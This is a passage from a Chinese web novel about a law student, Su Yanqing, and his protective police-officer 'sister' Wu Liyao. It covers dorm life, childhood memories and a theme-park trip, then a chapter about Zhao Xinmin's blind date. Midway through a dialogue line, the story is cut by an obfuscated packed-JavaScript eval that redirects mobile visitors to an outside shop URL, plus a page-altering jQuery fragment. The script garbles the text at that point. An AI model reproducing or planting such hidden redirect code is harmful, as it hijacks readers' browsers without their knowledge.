苏晏清羞赧不已地垂下了头,暗戳戳地瞥着姐姐的脸色。武厉枭心如钢刀扎过一般,悄悄握住了苏晏清的手,“大姐,谢谢您对晏清的照顾。以后您不用费心给他留剩饭了,晏清功课忙,他以后也没空帮您洗餐盘擦桌子,请您体谅。” 打饭阿姨塞给苏晏清一包果丹皮,“来,吃这个开开胃。”然后又对武厉枭说,“姑娘,晏清这孩子的饭量也太少了。我那儿子,一顿得七两米饭,黑米绿豆粥捧着锅吃,华莱士的整鸡一顿能吃两只。晏清这饭量,一顿才二两米饭,有的时候一两半……这点儿饭量,都不够我那儿子塞牙缝的……” 苏晏清恨不得把自己缩起来,果丹皮在手里都捏皱了,“谢谢阿姨……” 武厉枭刚走,李光明就搂住苏晏清的肩膀道,“清哥,你这微分碎盖头够帅的!花不少钱吧!” “嗯,我姐带我去理的。” “你东西这么多,要不要我帮你收拾收拾?” “不用,我姐刚才收拾得挺好的。” “我看咱姐给你准备了老多东西了,是吧?” “嗯……” “那些卤肉和麻辣豆干,咱们宿舍没冰箱,不早点吃可容易坏呀。” 刘国君皱眉道,“光明爱子呀,就说你想吃得了呗!” “喂!我没这么说哦,我这个人在美食面前从来都是三贞九烈。” 刘国君笑道,“你一个半拉猪蹄子都能跟人私奔的人,还三贞九烈?你亏心去吧……” “嘿你个逼人,看我不弄死你……”眼看李光明那两百斤的大体格子要跳上刘国君的床,苏晏清赶紧拿出卤肉投喂,“行了行了,你俩省省力气,吃肉第一位。” “嘿嘿……清哥,请允许我一辈子站在你的左边,这样能靠近你的心……”李光明吃得满嘴油花肉沫,“这肉真香,我在别的地方还没吃过这么好吃的肉呢……” “我姐亲手卤的。” “天哪!这是什么神仙姐姐呀!”刘国君笑道,“咱姐缺个尝菜的吗?我可以去。光明我儿,那块猪拱嘴是我的……” “什么你的!”李光明赶紧塞嘴里,“你刚才把猪耳朵都吃了……” “靠!你个逆子!”刘国君伸手往李光明嘴里掏,“吐出来……你特么还敢咬我!忤逆不孝的东西……” 苏晏清苦笑着摇摇头,跳到床账里给武厉枭发微信,“姐姐,你卤的肉我今天都吃了,吃得饱饱的,香香的。” 武厉枭很快回复道,“宝宝乖,以后每个周五下午都回家,姐姐给你做好吃的。平时什么时候想回家了,随时回来,姐姐开车去接你。对了,这个周末我不加班,给你做金龙黄花鱼,也是你小时候吃过的。” “嗯……” 生活在城里的王玉梅是个孝女,经常给望口村的母亲寄各种吃的穿的用的。她知道母亲最爱吃黄花鱼,就用冷链寄了几条四斤重的金光璀璨的金龙黄花鱼。箱子打开的那一刻,武厉枭都傻眼了,“外婆,《西游记》里说这种鱼是龙变的……” 吴老太太笑道,“哪有什么龙啊!今晚让你王婶配着豆腐和鸡蛋蒸一条,能鲜掉舌头。” “好耶!”武厉枭一阵风似的冲进苏家,把苏老婆儿正喂给苏晏清的棒子面粥搁在炕沿上,抱起那小奶团子头也不回道,“苏奶奶,我抱清宝去我家吃鱼……” 鱼肉很快端上来以后,哇,蒜瓣似的白生生的肉,鲜、滑、紧实中又带着柔嫩。两岁多的苏晏清吃得小肚子圆鼓鼓的。第二天早上一睁眼睛就闹着找武厉枭,“姐姐,今天有没有黄色的鱼鱼?” “没有了,宝宝。” 苏晏清却“哇”地一声哭开了,拉着武厉枭往河边走,“姐姐,我们去找黄色的鱼鱼……” 武厉枭没办法,只能抱着他到河边来假装找了半天,“宝宝,黄色的鱼鱼游走了,过几天它还会游回来,到时候再烧给你吃好不好?” “可是,宝宝会想黄色的鱼鱼……” “那……姐姐今晚给你做黄色的甜鱼鱼。” 武厉枭用南瓜和糯米粉,加上鸡蛋、牛奶、蜂蜜,用外婆家的面模子做成了鱼的样子,上蒸锅隔水蒸,刷油脱盘后一看,果然跟城里大超市买的年年有余年糕一模一样!喜得苏晏清笑开了花,“黄色的鱼鱼游回来啦!黄色的鱼鱼游回来啦……” “清哥清哥,有纸吗有纸吗?来不及了来不及了……”李光明急得到到处寻摸手纸,苏晏清随手把纸包递给他,“拿去吧!” 刘国君接过来一看,大惊小怪道,“靠!这纸怎么这么眼熟?这是……”他认认真真地读着包装上的字,“四层加厚乳霜纸,巨润……对对对!这是我侄子用的那种纸!哈哈哈哈……” “啥!”李光明似乎也忘记自己刚才急得要拉裤子的窘态,“对对对,上次我姐坐月子,我在家里上厕所就用了这种纸巾,还被我妈骂了一顿,说这是我外甥专用的,什么水纺布做的,不掉纸屑,一包老贵了……哈哈哈……清哥你现在开始用婴儿专用的纸啦……哈哈哈……” 苏晏清脸色平静道,“你要是不喜欢用,就还给我,去外面捡两片树叶用。” 二人立马不笑了,李光明道,“我今天省着点用,省一张半张的留着擦嘴……” 苏晏清每天的微信是武厉枭艰苦卓绝的日常生活中为数不多的亮色。一盘食堂里色彩鲜亮的西红柿虾仁炒蛋,一树繁花簇簇的七彩木香花,一片夕阳下粼粼的波光,一片被教授评为优+的范文……都是武厉枭难得的小确幸,那些缤纷的文字和图片让武厉枭觉得自己仿佛又回到了散发着紫丁香气息的莘莘校园,手机屏幕里迸发出个万紫千红的春天。 “姐姐,西红柿滑蛋虾仁里配上银鱼,特别好吃,鲜掉了眉毛,我做给你吃好不好?” “好,宝宝做得更鲜,更好吃,我会鲜掉了头发。” “姐姐鲜掉了头发,也是大美人。” “你今天吃完晚饭又吃了蜂蜜吗?小嘴巴这么甜……” “我是实话实说嘛!” “哎呀哎呀,嘴巴这么甜,你上辈子该是个蜜罐子吧……” “姐姐,今天我参加了辩论赛,我们正方得了第一名哦,我是正方一辩。” “宝宝真棒……” “姐姐,夕阳下的湖面好美啊!” “你们学校的湖叫什么名字?” “天骄湖,湖里还有好多锦鲤呢!果然是浮光跃金,锦鳞游泳。姐姐,周末你休息吗?来我们学校散步吧……” “好啊,山大本来就是风景区,我早就想逛逛了,我们一起去后面的桃女山。桃女山可是5a级风景区。早就听人说:山大是全国最有排面的大学,5a级风景区当它的后花园。对了,宝宝,你早餐一般都吃什么呀?我记得你小时候最爱吃王婶婶做的油条和肉包子……” 吴家大宅的早餐非常丰富,除了牛奶、鸡蛋和白灼虾仁以外,还有青菜肉沫粥和豆腐脑,有时候还有香煎蒸饺和杂粮粥。加了荤油的萝卜肉包一出锅,武厉枭就赶紧用饭盒装了几个送到苏家,“苏奶奶,把这肉包子喂给清宝吃。别喂那些棒子面粥咸菜疙瘩,他那么小,吃不了那么咸的东西……” 苏晏清发完微信,就拿出床头那些《安徒生童话》、《格林童话》、《王尔德童话》、《山田昭吾作品集》、《敏豪生奇遇记》看了起来,全是绘图精美色彩鲜艳的儿童连环画——姐姐买给他的。 其实姐姐不记得了,她小时候每次来送包裹,都会给他送一套课外书。小时候是连环画,后来是各种儿童读物,杨红樱的《马小跳系列》、《笑猫系列》,《米小圈上学记》、《福尔摩斯探案集》、《十万个为什么》……那些书他都收藏得好好的,一本都舍不得丢,那是他那十四年宝贵的精神补养。 回学校前的那天晚上,姐姐还拿了一个发黄的画本给他,“宝宝,记得这个吗?” 苏晏清打开一看,眼泪顿时溢满眼眶,居然是他小时候武厉枭送他的画本!那个时候,武厉枭只有寒暑假才能回望口村,所以姐姐的寒暑假,也是他最幸福的时光。每天几乎是一睁眼睛,武厉枭就推开苏家那破烂的木头门,把他抱到漂亮的吴家大宅里,奶奶再不高兴也不敢吭声。村里的婶子大娘们都打趣道,“苏老婆儿,枭枭一回村,你家清宝的脸蛋就又白又胖,红扑扑的……” 吴家大宅的二楼是姐姐的卧室和书房,还有个放着积木、娃娃屋、小汽车和玩具枪的游戏室。姐姐会让他玩这些玩具,不过他不太喜欢,因为姐姐自己不怎么玩,她除了看书写作业以外,就是在院子里打拳练武。而他呢,就搬个小板凳坐在旁边看,边看边拍手笑。 武厉枭用毛巾擦了擦汗,“宝宝,你笑什么呢?” “姐姐好棒!” 武厉枭想了想,“宝宝,你想上学吗?” “上学?” “对,如果上了学,就可以读高中,考大学,离开望口村,去城里住大房子。” “城里……”不到三岁的苏晏清还不大明白上学的意义,“城里有姐姐吗?” “有,姐姐就在城里上学。” “那我去,我跟姐姐一起上学。” “好,从今天开始,姐姐教你读书。” 从那天起,武厉枭没事就拿着书房里的那些连环画给苏晏清读,《灰姑娘》、《猴子捞月》、《狼来了》、《海的女儿》……小小的苏晏清越听越入迷,总是拉着姐姐问:“《胡桃夹子》里的天鹅脖子上有蝴蝶结,为啥我们村的大鹅脖子上没有?” “真的有巧克力和饼干做的房子吗?我可以吃吗?” “大白蛇可以变成人,那村长爷爷家的大白猫也能变成人吗?” “月亮里真的有个漂亮阿姨吗?广寒宫里是不是到处都是透明的……” 后来看的书多了,苏晏清就不满足于姐姐给他讲,就夺过书本来,“姐姐,我给你讲……” 武厉枭哑然失笑,“宝宝,你能记住这些故事吗?” “能!”苏晏清指着书上的插画道,“从前有个女人,她想得到一个孩子,于是她从女巫那里得到一颗种子,种下去,没过多久,种子长成了郁金香,从里面走出来一个拇指姑娘……” “宝宝真聪明!”武厉枭捧着他的脸蛋“叭”地亲了一口,“姐姐带你买牛角面包吃!” 不知从什么时候起,苏晏清每天书不离手,陪姐姐写作业时看书,练武时看书,有时候还拿一张纸边画边嘟嘟囔囔。武厉枭问他:“宝宝你干嘛呢?” 他一本正经道,“我写书呢。” 武厉枭看看那鬼画符一般的线条,“这是什么呀?” “这是小羊,他去给小猴子家送苹果。小猴子说:谢谢你,这是我送给你的香蕉。小羊说:我不吃香蕉,我吃草……” 武厉枭耐心地听完了他的故事,又带着他去小卖店买了一本厚厚的图画本,“宝宝,以后你用这个画画吧。” 苏晏清高兴得不得了,“姐姐,我什么时候能有一只神笔?我想画出一个大房子给妈妈?” “你画得多,写得多,早晚有一天,你的笔会变成神笔……” 记忆中那个胖乎乎白嫩嫩的可爱幼童变成了她身边这个纤瘦俊雅的少年,武厉枭像小时候一样,把他抱在怀里,一页页地翻看着两个人小时候一起画的那些画,“这是你画的大房子,宝宝,你还画了棵能长钱的树……这页,你记得吗……你说这个水晶蛋壳里有好多漂亮衣服和好吃的,有你喜欢的芸豆枣泥肉粽,有糖炒栗子……这辆汽车旅馆里,有比手指还小的小人……” 苏晏清擦了擦满脸的泪水,“姐姐……你为什么一直留着……” “我就是靠着这些……才勉强熬过去那些失去你的日子……” 李光明不知什么时候凑了过来,“清哥你干啥呢?” 苏晏清慌忙把书藏到床头书架上,李光明不知什么时候已经爬了上来,“我靠清哥你看小人书呢?” 刘国君也爬了上来,夸张得大叫,“啊啊啊……晏清爱子,你居然看小人书!山大法学院学霸,居然看小人书!啊啊啊啊……” 苏晏清没理睬他们,李光明继续说:“难怪大姐给你把蚊帐换成了这种双层不透光的,还给你这床头安装了什么多书架、小夜灯、加湿器、颈椎按摩仪、蒸汽眼罩什么的,你这儿简直比女生的床都精致!” “然后你躲在这儿看小人书!哈哈哈……真是个……” 二人一起挤眉弄眼道,“宝宝……” 苏晏清冷笑道,“我姐刚才给我发微信,说家里明天做麻辣小龙虾给我送来……” 李光明眼里立即馋光骤起,灰溜溜地跳下床去,陪着笑脸道,“清哥,麻辣小龙虾配啤酒是一绝,明天你喝几瓶?” “我不喝酒。” 刘国君也老老实实道,“晏清,吃小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849719|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 龙虾不喝啤酒,那遗憾堪比《红楼梦》没写完啊!” “我们学法律的,靠脑子吃饭的,得保持个清醒的头脑,才知道什么话能说,什么话不能说。” 李光明尴尬地抽了一下嘴角,“那我俩明天买点花生米豆干鸡爪子什么的,咱们兄弟们刚好聚个餐。” 李光明和刘国君都老老实实地回到蚊帐里趴窝里,苏晏清拿出手机,点开上了密码的照片收藏夹,里面都是他多年从网上收藏的武厉枭的照片。她立功受奖的,她参加表彰大会的,她接受采访的,她上新闻的,她做个人先进事迹报告的……从她在大学时第一次立个人二等功到现在,大大小小几百张。 “姐姐……我也是靠着这些照片……熬过了失去你的那些日子……” 李光明突然想起来什么似的,“对了清哥,我帮你找到了一个好地方学习,外语学院顶楼的楼梯间拐角处,那里的窗户够大,放得下书,你带个折叠凳上去,就能学习了。” “好,我明天去看看。” 苏晏清叹息不已,因为去教室和图书馆学习都会被偷拍和骚扰,他只能躲到食堂去学习。后来那群人知道他在食堂,又去追踪,他无奈,只能躲到法学院教学楼的楼顶平台处。就这样,那些狂热的私生饭也冲上来拍个不停,甚至抢他的书包。他怕闹出安全事故,就只能到处转移学习的地方,连杂物间都去过,还是被人抓到了,差点动手把他拽出来……为此,李光明和刘国君费尽心思地帮他找容身之处,立锥之地。 周五下午放学,苏晏清一回到武家老宅,就钻进操作间帮工人们炒凤梨馅,搬面粉,做水油酥皮……武月直连忙把他拉了出来,“你这孩子!上了一星期课了,回家还不好好休息,一回来就干活!你屋里有刚出锅的桂花酒酿绿豆糕,先垫吧一口,待会儿你黄奶奶就开饭了。” “嗯,谢谢爷爷。” 晚上九点多,苏晏清正在灯下背单词时,武厉枭敲门进来,“宝宝,你睡了吗?” 苏晏清忙开门,只见武厉枭端着一个托盘,里面是一碗黄中带紫的蛋黄焗香芋,还有一碗碧澄澄的豌豆仙草羹。“我看你晚餐吃得少,怕你肚子饿,给你做了点宵夜。” 苏晏清赧颜道,“姐姐,晚餐很好吃的,只是……我一直吃饭都很少……” 苏晏清说得是实情,因为经常饿肚子,他的胃脆弱得像纸,稍微吃多一点就胀气。别的十九岁男孩一顿能吃五两米饭,他连米饭都要泡汤吃才能不胃痛。后来他总结出了一条经验:吃饭不可以吃饱,吃到肚子不饿就放下筷子,宁可欠着点儿,夜不能胀气不舒服。只是这些,他不敢跟武厉枭说。 “你呀,还是小时候那个毛病!”武厉枭笑着嗔他,“你小时候有的时候不肯好好吃饭,非得我喂你才肯吃。那个时候你差不多也就两岁大,已经能自己吃饭了。那天你奶奶蒸的菜饼子,你哭咧咧地不肯吃,哭得隔着一条街都能听见。我没办法,就去你家,帮你奶奶把一整个菜饼子喂了进去。你奶奶犯愁:枭枭,你回城里上学了,这个娃可伤了,可咋办呀,我都愁死了……” “姐姐,那你是怎么喂进去的?” “我也不知道,我喂,你就肯吃了。可能是平时我喂惯了,你更听我的。”武厉枭舀了一勺蛋黄焗香芋,“来,宝宝张嘴。” 苏晏清勉为其难地张嘴,吃了一口,眯着眼睛笑道,“真好吃,又香又甜。” “我自己发明的,你小时候一吃这个,就这样笑,笑得眼睛眯成了月牙儿。来,再吃一口,吃饱饱的,才能长高高,读书聪明。” 苏晏清又被喂了一口,武厉枭笑得满是成就感,“我就说清宝宝很乖的,还是你奶奶不会带。那菜饼子我也吃了一口,又干又硬,做得不好吃,小孩子哪里喜欢吃!我做得不一样,这是姐姐的味道,是不是?” 苏晏清无奈地笑着点头,“对对对,姐姐的味道……” 他这这样被投喂了半碗蛋黄焗香芋,半碗豌豆烧仙草,肚子满满的睡觉了。万幸夜里没有胃痛,没有疼醒,没有疼出一身冷汗。他劫后余生般的欣慰叹道,“这就是姐姐的味道吧……” 手机里的微信响起来,是姐姐给他发的:“宝宝,记得明天是什么日子吗?” “明天是周六啊,姐姐。” “笨宝宝,明天这么重要的日子都不记得啦!明天是儿童节呀!你们小孩子最喜欢的节日!姐姐明天带你去熊出没乐园,那里还有个大海洋馆,能看美人鱼表演呢……” “嗯,好,明天去过儿童节。” “记得穿那件新衣服去,孔雀一看到漂亮的小朋友就会开屏比美。对了,明天别凑到大白鲸旁边,他们很坏的,最喜欢突然张大嘴巴吓唬小孩……” 熊出没乐园早上九点钟开门,武厉枭带着苏晏清赶到时还没到开门时间,就带他在旁边的麦当劳店里点了两份套餐,“宝宝你看,今天是儿童节,还送了两个蜡笔小新的钥匙扣,你喜欢不喜欢?” 苏晏清脸色微红地接过来,低声道,“喜欢……” 二人吃完了早餐,走进乐园中,沿途尽是世界各地著名建筑和景点的微缩景观:埃菲尔铁塔、白宫、故宫、长城、悉尼歌剧院、狮身人面像金字塔……武厉枭最喜欢便是欧洲区的那些教堂和城堡,微缩的威尼斯河道里的尖头小船,以及湖面上那一只只悠闲的黑天鹅。 “宝宝你知道吗?我一直做这样的梦,梦见自己走在花园般的欧洲小街上,那里的每一家店都无比精巧,空气中满是鲜花和巧克力的香味儿,地面上铺着殷红的枫叶……”武厉枭给苏晏清用单反相机“咔嚓咔嚓”地拍着照,“我以前特别喜欢去欧洲玩,但是后来欧洲毒品合法化了,太危险了。要不,我真想带你去看看,看看挪威的雪山和冰海,看看芬兰的极光,看看花园国度瑞士,看看徐志摩笔下的康桥……” “没事的姐姐,我现在也看到了,看到了小时候在童话书里才能看到的景观。”苏晏清指着街边的那一个个打卡点道,“这是小王子的星球与玫瑰,这是快乐王子,这是巨人的花园里那稞会说话的桃树,这是穿长筒靴的猫……” “你怎么记得这么清楚呀!” “都是以前你给我讲的故事啊……” 二人游了一圈微缩的卢浮宫,爬了微缩的泰山,赏了微缩的巴黎圣母院,到湖边微缩的美人鱼雕塑拍了照,去了八音盒展览馆。武厉枭带苏晏清游玩有个非常大的好处,他能将这些景观的历史背景和建筑风格介绍得头头是道,记忆力奇佳,可以称得上是最合格的导游。 “宝宝,你怎么知道得这么多呀?” “可能是高考过去没多久,那些被题目虐过的记忆还在吧……” 通过这段时间的相处,武厉枭发现苏晏清跟她从前接触过的男生很不一样。她和那些大学同学,单位里的手下可以聊专业,聊案子,聊工作,聊荣誉……她在他们面前是“最美木棉花”,是“义母”,是英雄。他们尊敬她,信任她,甚至是热爱她。所以她必须端着,必须无懈可击,必须时时刻刻维持自己的体面风度。但是在苏晏清面前,她却什么都可以聊,聊吃聊穿,聊大学和单位里的八卦,聊电影电视剧,聊她曾经旅游过的城市……也许是自己曾经抚养照顾过的原因,即使十四年未曾相处,他依旧什么都感兴趣,什么都能满满地,熨帖地接住。这让她非常惊喜那份默契仿佛是从血液里生长出来的,随时等待她的召唤。 他们并肩走着,阳光斜斜地透过密叶照下来,给大地镀了一层暖金色。 她的宝宝,已经不光是小时候的洋娃娃,最可爱的小玩具了。他长成了最理想的知己的样子。 苏晏清看向远处的摩天轮,武厉枭笑着捏捏他的鼻子,“这个小孩子可不能玩,那么高,万一出了故障,停在半空中下不来,多危险呀!走,姐姐带你做旋转木马。” 花车巡游的队伍从他们身边路过,穿着各式cos play的动漫服装和童话电影里的衣服,迪士尼白雪公主足足有三米多高,妆容异常精致美丽。她将手中的玫瑰花送给人群里颜值惹眼的苏晏清。苏晏清不假思索地送给了武厉枭,“姐姐,你才是最动人的玫瑰。” 武厉枭面上微红,“宝宝,你这小嘴巴抹了什么糖霜呀,越来越甜了!走,姐姐奖励你一个棉花糖。” 武厉枭果然在棉花糖摊上给苏晏清选了一个比他的头还大一圈的星黛露棉花糖,又在面人摊上一眼选中了那个扎双髻带红肚兜的善财童子面人,惊喜不已地拿起来举到苏晏清面前,“哎呀,宝宝你看,这不就是你吗?” 捏面人的大叔都笑了,“美女,这小伙子长得跟我闺女喜欢的那个……对,肖战似的,怎么会像面人呢?” “真的,我弟弟小时候就长这样!”武厉枭扫码付过款,拿着善财童子面人对着苏晏清的脸比来比去,“你小的时候啊,漂亮得让人移不开眼睛!那圆圆的大头咣咣硬,就像电影里用头敲钟的小和尚似的。我有时候跟你说:宝宝,跟姐姐顶牛儿。你就用头顶我的头,说:牛牛牛……有的时候啊,我就用头顶你软乎乎的小身子,你就在床上骨碌翻个身,再顶,再翻,每翻一下,你都高兴得嘎嘎笑……你小时候的眼睛是圆溜溜的,现在……怎么变成桃花眼了?网上说,这种眼睛……嘻嘻嘻,看狗都深情……嗯,你小时候的鼻子是矮趴趴的,现在又高又挺,哎呀,这样显得脸更瘦了!岁月真是一把杀猪刀,抢走了我的肉团团!哼!讨厌!”她摸着苏晏清的脸,遗憾地感慨,“我那么可爱的肉团团,怎么变成了个瘦伶伶的小可怜?你小时候就穿着这样红肚兜,光着小屁股,穿着小凉鞋在外婆家的院子里玩。我用洗洁精和肥皂水调出了泡泡水,用吸管蘸一下,然后就吹出了一大堆的泡泡,又轻又软又亮的泡泡。你就满院子追着跑,说:泡泡……宝宝要泡泡……” 苏晏清无奈,只能像小时候那样拉起武厉枭的一根手指,“姐姐……宝宝要糖画……” “好!”武厉枭果然高兴起来,到糖画摊上选了一只最大的凤凰递给苏晏清,“宝宝,这个麒麟也好看,要不要?姐姐买给你?” “不要了,我们先去海洋馆吧。” “好吧,出来再给你买麒麟。” 武厉枭拉着苏晏清去看了海洋馆里最有名的“美男鱼”表演,据说这个表演要早早占位置,否则人山人海的啥也看不见,位置靠前能清楚地看到“美男鱼”的腹肌和人鱼线。 全场的欢呼尖叫震耳欲聋,武厉枭悄悄附在苏晏清耳边道,“这美男鱼,没有我家宝宝好看。对了,你会游泳吗?” 苏晏清心里“咯噔”一下子,他不光不会游泳,而且体育成绩也不怎么样。每次都是70分左右。幸好山大的奖学金从来不看体育成绩,要不他可能连二等奖学金都拿不到。那些他的粉丝都在表白墙上说:怎么很少能看到“法学院之光”打篮球的照片呢? 因为以他的气血来说,能维持他这种高强度的学习都非常勉强。每天晚上从图书馆自习室回宿舍,他都像高考冲刺那样,头晕乎乎的,走路腿软发飘,晚饭也恶心得吃不下,整个人几乎要爆炸了一样,倒在床上得睡一个小时才能爬起来洗澡,或是冲一杯武厉枭给他的蛋白粉当晚餐。 “姐姐,我体育……不太好……” “没事,姐姐教你。我家宝宝这么聪明,肯定一学就会。”武厉枭举着手中面人道,“你小时候啊,还不会说话的时候,就喜欢说:哒哒。高兴时说哒哒,不高兴时也说哒哒……哈哈哈……我就说:宝宝是个小哒哒怪……哈哈哈……” 13. 赵新民要相亲 刚结束完中考阅卷的赵新民一回家,就被父母赶着去洗澡换衣服,“待会儿穿上妈给你买的那套鲜红的夹克衫试试,明天啊,里面穿个小白衬衫,显得精神!媒人给你订的是明天晚上六点钟吃饭,在满堂红火锅店。” “哎呀妈呀!”赵新民脑瓜子嗡嗡的,他烦死相亲了。 其实才26岁又是体制内初中数学老师的他条件也不差,爸爸妈妈都是公务员,双胞胎姐姐经营着汉服设计妆造旅拍店,年收入过百万的。 他呢,虽说算不上帅,个子也就175公分,但长相也是中规中矩的。硕士研究生毕业一年,在父母的帮助下,也在市中心全款买了套170平米的大毛坯房。 他没有烟酒嗜好,平时比较宅,寒暑假就在家里打打游戏,偶尔自己出门看场电影。独来独往没啥社交,除了办公室偶尔聚一下餐外基本没人找他,属于那种微信只是个付款工具的隐形人。 跟八面玲珑情商超高的姐姐完全不一样,他进单位都一年了门卫看到他还拦着。那次他心血来潮跟校长打声招呼,校长都一愣,“哎呀,这位家长,我们学校规定,接孩子要在校门外等候的。” 正因为他的这些“毛病”,父母一直都担心他找不到老婆,所以从他一毕业就忙着托七大姑八大姨给介绍对象,并且叮嘱媒人,“我儿子老实巴交的,你可一定要从头坐到尾,盯着他说话,把话帮他说圆全了……” 其实他们根本不用嘱咐,那些媒人们个个都无比负责,从头到尾地盯着两个人相亲,时不常地插播一下自己家的家长里短,超级八卦加热心。 “妈我跟你说啊,今天相亲我王阿姨再从头盯到尾的我可不去,干嘛呀这是,坐那儿跟电灯泡似的,不嫌自己亮啊!” “哎呀,人家不是怕你说话说不清楚吗?你忘了上次你去相亲跟人家姑娘讲了四十分钟立体几何的事了?人家都说你是语死星人。你放心,这次呀,你王阿姨绝对不去了,今天这个姑娘啊,说起来跟你还真有缘,你也认识她。” “谁呀?” “你小时候的救命恩人,武厉枭啊!” “妈呀,她呀!”赵新民的记忆瞬间毛骨悚然…… 那是五年级暑假的一个清晨,他独自一人在公园里散步,突然,一只没有戴牵引绳的藏獒疯了似的在人群中乱跑,吓得众人大叫着四散逃窜。 而他因为年纪小,胆子也小,吓得都不敢动弹了,手里还拿着吃到了一半的烤肠。 那藏獒似乎闻到了烤肠的香味,张着血盆大口就要向他扑过来。 说时迟那时快,就在藏獒差点咬着他时,突然怒吼一声倒地不动了——原来是他们班的“摄政王”武厉枭用西瓜摊上的切瓜刀攮到了藏獒的屁股上,把那疯狗制服了。 武厉枭从上幼儿园起就当班长,学习好,遵守纪律,热心,不摆架子。总之最严厉的老师,最是非的同学,也挑不出她的不是来。所以她威信特别高,民主选举从没给她选下去过。 同学们写作文“我最敬佩的人”,全班六十人除了武厉枭自己写了她爷爷,其他人全写武厉枭。新来的年轻任课老师管不住纪律,都让武厉枭帮忙坐镇。 有人说武厉枭管那帮皮猴子,有时候比班主任都好使。班主任就笑道,“厉枭是我们班的摄政王。” 从那以后,武厉枭在班里的绰号就是“摄政王”,配享太庙,九锡加身,挟天子以令诸侯。 赵新民一听相亲对象是武厉枭,心里说不出是啥感觉,有点兴奋,有点恐惧,有点紧张,有点甜蜜,有点跃跃欲试,有点自暴自弃。 他吭吭哧哧老半天才小心翼翼地询问道,“妈,她家不是老有钱了吗?还开着百年老店,还能看上我吗?” “那咋不能呢!”赵母兴奋不已道,“她家条件好,咱家也不差呀!那姑娘是当个警察,人也特别仗义,但工作性质太危险了。所以这么长时间也没找对象。” 赵爸接口道,“我不是总去荣宝斋武家老店买核桃酥吗?跟那武老爷子也熟,经常一起聊天……” 那天,赵爸买了三斤核桃酥,武月直拿出新熬好的神仙水招待他,二人聊起了武厉枭的婚事。 武月直道,“老赵啊,不瞒你说,我孙女虽说英雄盖世,但这婚事啊,让我操心。找个同行那不现实,两口子都忙得不着家,不是过日子该有的样子。” 赵爸问他:“您儿子儿媳妇那么多生意合作伙伴呢,问问他们有没有谁儿子跟您孙女年貌相当的?” 武月直摇头说:“那家里做买卖的男孩呀,我看不好。那些富二代,用过去的老话就是衙内,二世祖,不招灾惹祸的也就是个贾宝玉那类的,窝窝囊囊没啥能水。我岁数大了,看不懂什么公司上市买空卖空那套玩意儿,什么股票不股票的?把别人的钱拘来给自己扩大再生产,生意赔了让人家帮忙承担损失,这不是缺德吗?” “您不知道,如今的大买卖人都这么做生意。” “我们先人留下祖训,荣宝斋就是做糕饼的,做一只卖一只,卖一只挣一份钱,就得了。我看那些从银行里贷出来那么多款的,哼,等还不上那天,哭都找不着调。我是跟我儿子说了,你要是给枭枭介绍你生意伙伴家的儿子,第一条就是看银行里有没有饥荒。有饥荒的,我坚决不同意。枭枭是我一手带大的,我不能看着孙女卖命挣工资跟人家还饥荒!” 赵爸笑了,“您老人家怎么断定孙女就一定听您的?” 武月直说:“我自己的孙女我知道,不是那脑子不清醒的人。” “那您希望孙女找个什么样的人?” “人品得好,老实善良,会替别人着想,有同情心,用现代人的话来说,叫有同理心和共情能力。 还有啊,能给我孙女提供情绪价值。我孙女查案多辛苦啊,回家再遇到一个跟她炝茬说话的,多糟心。 没有花花肠子,弄得点小浪漫,没事的时候,能陪我们枭枭出去走走,散个步,枭枭喜欢唱歌、骑马、射击,也喜欢做饭。 还有一点啊,很重要,小伙子得能巴家。枭枭结婚了呀,搞不好就得男主内了。要是那天天惦记着往外跑,总想出去应酬喝酒的,那可不行。家里的水电煤气得有人操心啊,缺啥少啥,哪儿坏了,该修啥该添啥,做丈夫的得心里有数。虽说有小时工干活,但经管这个家,枭枭这工作性质……唉!不过呀,我们家这条件,不会亏了小伙子的。 我们不挑男方家庭条件,穷点不要紧,我们能帮衬。我们对男方父母就两个要求:不强迫枭枭生孩子,生不生的,枭枭自己做主,不生也不许给脸子瞧,不许离婚! 我那媳妇就是生孩子的时候伤了身子,不到四十就没了。枭枭这个工作性质,抓贼的时候跑上跑下的,一旦怀孕,多危险啊,要有个闪失,命都得没了。 所以啊,凭良心说,我都不大愿意枭枭生孩子,太危险啦!还有一个什么要求呢?嘿嘿,说出来不怕你笑话:我希望亲家公亲家母是上班退休的。 我可不是图有退休工资这一项啊,我们家不贪财。我以前呀,见过那长年不上班的女同志,天天就待在家里洗衣服做饭,不接触外界,哎呀,眼界又窄,又没啥文化,正经挺歪挺不讲理的。 因为每天只接触丈夫和孩子,自己家人又都将就她,还不就是由着她放歪。 那在外面上过班的就不一样了。他总得跟同事,跟领导接触过吧,总得有点区分眉眼高低的本事啊。跟同事,跟领导总不能放歪了吧。 我希望什么呢,亲家亲家母,咱不说退休工资一定多高,没有退休工资的,也不要紧,困难的话我们当娘家的可以帮衬。 我们就不希望找那个又歪又不讲理,又闭塞又不接触外界,又没见识又穷横的,我们怕这样的。 枭枭这孩子,性子单纯,直肠子,没那些花花肠子弯弯绕,遇到那困在自己世界里放歪的,她可没精力去对付……” “哎呀!”赵母兴奋地直拍巴掌,“你瞅瞅你瞅瞅!咱家哪条都符合! 咱家小民,从小就出了名的老实,心眼好,见到乞丐都给钱的。脾气又好,从不跟大人顶嘴。能干活,会做饭,会洗碗,还帮我种花生。 那天下雨,我在单位赶不回来,心想那可完蛋了,阳台上的被子全得浇透。没想到小民回来帮我收了!这孩子,比他姐那没心没肺的强多了。” 赵父皱眉道,“咱家的家底不算薄,可跟人家比,还是差太多了。 就光荣宝斋武家老店这几个字,就值几十个亿。 你看那店里的老物件,那老匾,雕梁画栋的老宅院,御赐黄马褂和十二生肖琉璃盏,老点心匣子上镶的都是螺钿,玻璃罩里那个宣统皇帝赏的金包银老算盘,那算盘珠子是七星紫檀木的。 说实话,我要是有这家底,我可舍不得独生孙女去当警察!” 